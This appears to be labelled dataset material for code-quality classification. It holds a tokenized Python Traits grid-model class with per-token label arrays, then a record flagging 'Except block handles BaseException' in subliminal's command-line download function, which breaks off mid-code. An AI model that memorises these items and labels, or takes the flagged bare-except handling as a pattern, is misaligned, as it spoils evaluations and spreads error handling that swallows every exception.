"True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "do", " ", "not", "hing", " ", "in", " ", "the", " ", "method", " ", "case", " ", "as", " ", "we", " ", "don", "'", "t", " ", "allow", " ", "rows_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "defin", "ed", " ", "to", " ", "return", " ", "a", " ", "method", " ", "value", " ", "to", " ", "set", " ", "the", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "success_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "insert", "\\u", "rows", "\\u", "int", "o", "\\u", "model_", "(_", "self_", ",_", "pos_", ",_", "new", "\\u", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Insert", " ", "the", " ", "give", "n", " ", "new", " ", "rows", " ", "int", "o", " ", "the", " ", "model", ".", " ", "Override", " ", "this", " ", "method", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "handle", " ", "very", " ", "large", " ", "data", " ", "sets", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "data_", "in_", "new", "\\u", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "data_", "._", "insert_", "(_", "pos_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pos_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "delete", "\\u", "rows", "\\u", "from", "\\u", "model_", "(_", "self_", ",_", "pos_", ",_", "num", "\\u", "rows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Delete", " ", "the", " ", "specified", " ", "rows", " ", "from", " ", "the", " ", "model", ".", " ", "Override", " ", "this", " ", "method", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "handle", " ", "very", " ", "large", " ", "data", " ", "sets", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "self_", "._", "data_", "[_", "pos_", ",_", "pos_", "+_", "num", "\\u", "rows_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "num", "\\u", "rows_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "row", "\\u", "name", "\\u", "tra", "it", "\\u", "changed_", "(_", "self_", ",_", "new_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Force", " ", "the", " ", "grid", " ", "to", " ", "refre", "sh", " ", "whe", "n", " ", "any", " ", "underl", "ying", " ", "tra", "it", " ", "change", "s", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fire", "\\u", "content", "\\u", "changed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "column", "s", "\\u", "changed_", "(_", "self_", ",_", "object_", ",_", "name_", ",_", "old_", ",_", "new_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Force", " ", "the", " ", "grid", " ", "to", " ", "refre", "sh", " ", "whe", "n", " ", "any", " ", "underl", "ying", " ", "tra", "it", " ", "change", "s", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "manage", "\\u", "column", "\\u", "listeners_", "(_", "old_", ",_", "remove_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "manage", "\\u", "column", "\\u", "listeners_", "(_", "self_", "._", "columns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "auto", "\\u", "columns_", "=_", "self_", "._", "columns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fire", "\\u", "structure", "\\u", "changed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "column", "s", "\\u", "items", "\\u", "changed_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Force", " ", "the", " ", "grid", " ", "to", " ", "refre", "sh", " ", "whe", "n", " ", "any", " ", "underl", "ying", " ", "tra", "it", " ", "change", "s", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u\\u", "manage", "\\u", "column", "\\u", "listeners_", "(_", "event_", "._", "removed_", ",_", "remove_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "manage", "\\u", "column", "\\u", "listeners_", "(_", "event_", "._", "added_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fire", "\\u", "structure", "\\u", "changed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "contain", "ed", "\\u", "tra", "it", "\\u", "changed_", "(_", "self_", ",_", "new_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Force", " ", "the", " ", "grid", " ", "to", " ", "refre", "sh", " ", "whe", "n", " ", "any", " ", "underl", "ying", " ", "tra", "it", " ", "change", "s", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fire", "\\u", "content", "\\u", "changed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "data\\u", "changed_", "(_", "self_", ",_", "object_", ",_", "name_", ",_", "old_", ",_", "new_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Force", " ", "the", " ", "grid", " ", "to", " ", "refre", "sh", " ", "whe", "n", " ", "the", " ", "underl", "ying", " ", "list", " ", "change", "s", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u\\u", "manage", "\\u", "data\\u", "listeners_", "(_", "old_", ",_", "remove_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "manage", "\\u", "data\\u", "listeners_", "(_", "self_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fire", "\\u", "structure", "\\u", "changed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "data\\u", "items", "\\u", "changed_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Force", " ", "the", " ", "grid", " ", "to", " ", "refre", "sh", " ", "whe", "n", " ", "the", " ", "underl", "ying", " ", "list", " ", "change", "s", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "an", " ", "item", " ", "was", " ", "remove", "d", " ", "then", " ", "remove", " ", "tha", "t", " ", "item", "'", "s", " ", "listener_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u\\u", "manage", "\\u", "data\\u", "listeners_", "(_", "event_", "._", "removed_", ",_", "remove_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "items", " ", "wer", "e", " ", "adde", "d", " ", "then", " ", "add", " ", "tra", "it", " ", "change", " ", "listeners", " ", "on", " ", "tho", "se", " ", "items_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u\\u", "manage", "\\u", "data\\u", "listeners_", "(_", "event_", "._", "added_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fire", "\\u", "content", "\\u", "changed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "get", "\\u", "data\\u", "column_", "(_", "self_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", " ", "a", " ", "1", "-", "d", " ", "list", " ", "of", " ", "data", " ", "from", " ", "the", " ", "column", " ", "indexe", "d", " ", "by", " ", "col", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "row", "\\u", "count_", "=_", "self_", "._", "get", "\\u", "row", "\\u", "count_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cold", "ata_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "row_", "in_", "range_", "(_", "row", "\\u", "count_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cold", "ata_", "._", "append_", "(_", "self_", "._", "get", "\\u", "value_", "(_", "row_", ",_", "col_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Index", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cold", "ata_", "._", "append_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cold", "ata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "get", "\\u", "column_", "(_", "self_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "column_", "=_", "self_", "._", "\\u", "auto", "\\u", "columns_", "[_", "col_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Index", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "column_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "column_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "get", "\\u", "column", "\\u", "name_", "(_", "self_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "column_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "column_", ",_", "Trait", "Grid", "Column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "column_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "get", "\\u", "column", "\\u", "typename_", "(_", "self_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "column_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "typename_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "column_", ",_", "Trait", "Grid", "Column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "typename_", "=_", "column_", "._", "typename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "typename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "get", "\\u", "column", "\\u", "readonly_", "(_", "self_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "read", "\\u", "only_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "column_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "column_", ",_", "Trait", "Grid", "Column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "read", "\\u", "only_", "=_", "column_", "._", "read", "\\u", "only_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "read", "\\u", "only_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "get", "\\u", "column", "\\u", "formats_", "(_", "self_", ",_", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "formats_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "column_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "column_", "(_", "col_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "column_", ",_", "Trait", "Grid", "Column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "formats_", "=_", "column_", "._", "formats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "formats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "column", "\\u", "index", "\\u", "by", "\\u", "trait_", "(_", "self_", ",_", "tra", "it", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cols_", "=_", "self_", "._", "\\u", "auto", "\\u", "columns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "cols_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col_", "=_", "cols_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "col_", ",_", "Trait", "Grid", "Column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col", "\\u", "name_", "=_", "col_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col", "\\u", "name_", "=_", "col_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "col", "\\u", "name_", "==_", "tra", "it", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "manage", "\\u", "data\\u", "listeners_", "(_", "self_", ",_", "list_", ",_", "remove_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "attach", " ", "appropr", "iate", " ", "tra", "it", " ", "handler", "s", " ", "to", " ", "object", "s", " ", "in", " ", "the", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "list_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "item_", "in_", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "item_", "._", "on", "\\u", "tra", "it", "\\u", "change_", "(_", "self_", "._", "\\u", "on", "\\u", "contain", "ed", "\\u", "tra", "it", "\\u", "changed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "remove_", "=_", "remove_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "manage", "\\u", "column", "\\u", "listeners_", "(_", "self_", ",_", "colli", "st_", ",_", "remove_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "colli", "st_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "col_", "in_", "colli", "st_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "col_", ",_", "Trait", "Grid", "Column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "col_", "._", "on", "\\u", "tra", "it", "\\u", "change_", "(_", "self_", "._", "\\u", "on", "\\u", "column", "s", "\\u", "changed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "remove_", "=_", "remove_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
Diaoul/subliminal/subliminal/cli.py
[ { "content": "@subliminal.command()\[email protected]('-l', '--language', type=LANGUAGE, required=True, multiple=True, help='Language as IETF code, '\n 'e.g. en, pt-BR (can be used multiple times).')\[email protected]('-p', '--provider', type=PROVIDER, multiple=True, help='Provider to use (can be used multiple times).')\[email protected]('-a', '--age', type=AGE, help='Filter videos newer than AGE, e.g. 12h, 1w2d.')\[email protected]('-d', '--directory', type=click.STRING, metavar='DIR', help='Directory where to save subtitles, '\n 'default is next to the video file.')\[email protected]('-e', '--encoding', type=click.STRING, metavar='ENC', help='Subtitle file encoding, default is to '\n 'preserve original encoding.')\[email protected]('-s', '--single', is_flag=True, default=False, help='Save subtitle without language code in the file '\n 'name, i.e. use .srt extension. Do not use this unless your media player requires it.')\[email protected]('-f', '--force', is_flag=True, default=False, help='Force download even if a subtitle already exist.')\[email protected]('-hi', '--hearing-impaired', is_flag=True, default=False, help='Prefer hearing impaired subtitles.')\[email protected]('-m', '--min-score', type=click.IntRange(0, 100), default=0, help='Minimum score for a subtitle '\n 'to be downloaded (0 to 100).')\[email protected]('-v', '--verbose', count=True, help='Increase verbosity.')\[email protected]('path', type=click.Path(), required=True, nargs=-1)\[email protected]_obj\ndef download(obj, provider, language, age, directory, encoding, single, force, hearing_impaired, min_score, verbose,\n path):\n \"\"\"Download best subtitles.\n\n PATH can be an directory containing videos, a video file path or a video file name. It can be used multiple times.\n\n If an existing subtitle is detected (external or embedded) in the correct language, the download is skipped for\n the associated video.\n\n \"\"\"\n # process parameters\n language = set(language)\n\n # scan videos\n videos = []\n ignored_videos = []\n errored_paths = []\n with click.progressbar(path, label='Collecting videos', item_show_func=lambda p: p or '') as bar:\n for p in bar:\n logger.debug('Collecting path %s', p)\n\n # non-existing\n if not os.path.exists(p):\n try:\n video = Video.fromname(p)\n except:\n logger.exception('Unexpected error while collecting non-existing path %s', p)\n errored_paths.append(p)\n continue\n videos.append(video)\n continue\n\n # directories\n if os.path.isdir(p):\n try:\n scanned_videos = scan_videos(p, subtitles=not force, embedded_subtitles=not force,\n subtitles_dir=directory)\n except:\n logger.exception('Unexpected error while collecting directory path %s', p)\n errored_paths.append(p)\n continue\n for video in scanned_videos:\n if check_video(video, languages=language, age=age, undefined=single):\n videos.append(video)\n else:\n ignored_videos.append(video)\n continue\n\n # other inputs\n try:\n video = scan_video(p, subtitles=not force, embedded_subtitles=not force, subtitles_dir=directory)\n except:\n logger.exception('Unexpected error while collecting path %s', p)\n errored_paths.append(p)\n continue\n if check_video(video, languages=language, age=age, undefined=single):\n videos.append(video)\n else:\n ignored_videos.append(video)\n\n # output errored paths\n if verbose > 0:\n for p in errored_paths:\n click.secho('%s errored' % p, fg='red')\n\n # output ignored videos\n if verbose > 1:\n for video in ignored_videos:\n click.secho('%s ignored - subtitles: %s / age: %d day%s' % (\n os.path.split(video.name)[1],\n ', '.join(str(s) for s in video.subtitle_languages) or 'none',\n video.age.days,\n 's' if video.age.days > 1 else ''\n ), fg='yellow')\n\n # report collected videos\n click.echo('%s video%s collected / %s video%s ignored / %s error%s' % (\n click.style(str(len(videos)), bold=True, fg='green' if videos else None),\n 's' if len(videos) > 1 else '',\n click.style(str(len(ignored_videos)), 